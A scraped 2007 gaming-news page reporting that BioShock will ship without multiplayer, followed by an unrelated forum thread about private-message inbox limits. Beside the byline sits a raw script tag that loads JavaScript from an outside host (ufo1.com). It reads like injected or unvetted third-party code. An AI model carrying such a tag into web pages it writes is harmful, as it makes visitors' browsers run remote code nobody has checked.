BioShock Single Player Only

"Irrational Games, has revealed that BioShock will not have a multiplayer component. Read on to find out more..."

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 26/01/07
Author: PV5150
Source: Shack News

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An official community Q&A for BioShock, the eagerly-anticipated sci-fi horror first person shooter from Irrational Games, has revealed that the game will not have a multiplayer component . 2K Games Community Manager Elizabeth Tobey confirmed that there will be no multiplayer elements and explained that there was a specific reason behind the decision.


"BioShock features a compelling storyline that revolves around the experiences of one man as he enters the decaying world of Rapture.

"Having a multiplayer component would have compromised the story we were trying to tell so we made the decision to keep this game as a single player experience," she added.


While there is no multiplayer in BioShock, Tobey did indicate that the game would have an online component of some description. With the lack of multiplayer though, this probably means there may be a storyline add-on for the single player game.

Irrational is primarily developing the game for Microsoft's Xbox 360 console, with the PC version being a port. Tobey added that while this is the case, there's an in-house team dedicated to optimising both the interface and gameplay mechanics in order to meet PC gamer's expectations.

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Has this decision by Irrational tarnished your desire for the game, or do you think that it's really not the kind of game to benefit from online multiplayer anyway?

Feel free to voice your opinion in our forum

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25-01-2007, 22:55:21

FragTek

Frag - are you saying you didn't know about the option in UserCP? Same goes for NickS? :stickpoke



No, that's not what I'm saying. I'm saying the DEFAULT should be raised. I already have my account setup with 20 posts per page as it is.

26-01-2007, 02:11:48

GrimReaper
yeah need atleast 100-200 for the PM box.

26-01-2007, 03:30:10

Kempez
With the posts per page I think that the forum default is adequate and users can easily change this.

I agree on the PM's tho

26-01-2007, 10:42:40

Dav0s
why cant you just delete PM's after reading them?

26-01-2007, 11:18:22

NickS
Yeah I'm a noob, I honestly never knew there was an option in User CP to change posts-per-page. Maybe creating a sticky for us noobs (hint: me) would be nice ;).

But yes, more PM space FTW!

I have an idea, how about 1-upping all intarweb forums by giving us a 1,000 capacity PM box :p

26-01-2007, 11:33:48

FragTek

Yeah I'm a noob, I honestly never knew there was an option in User CP to change posts-per-page. Maybe creating a sticky for us noobs (hint: me) would be nice ;).

But yes, more PM space FTW!

I have an idea, how about 1-upping all intarweb forums by giving us a 1,000 capacity PM box :p



I really don't see why 1,000 would be that bad. PM's take almost no space and very very few amounts of users would be able to even tap that limit. Might as well give it to us :) I'm sure we've got more than enough space to handle that.

I think at least 500 if not 1000.

26-01-2007, 12:18:57

Kempez
I've set this to 150

Any more than that then clear out your PM's tbh

26-01-2007, 12:26:23

FragTek

I've set this to 150

Any more than that then clear out your PM's tbh



lawl kemp, I have 650+ pm's as it is right now and I've done a complete clear-out like 10 times. Give me a year and I could probably use up the 65000+ available inbox slots :worship:

26-01-2007, 13:00:12

NickS
I have 1680 @ XS atm.

26-01-2007, 14:48:34

Jim
The problem with huge PM boxes is that it becomes impossible to manage and clean out.

We may have more than enough space for huge amounts of PM's, but we gotta back it all up daily, and with a fairly low setting (150 etc), people will take more care not to let things get out fo control.
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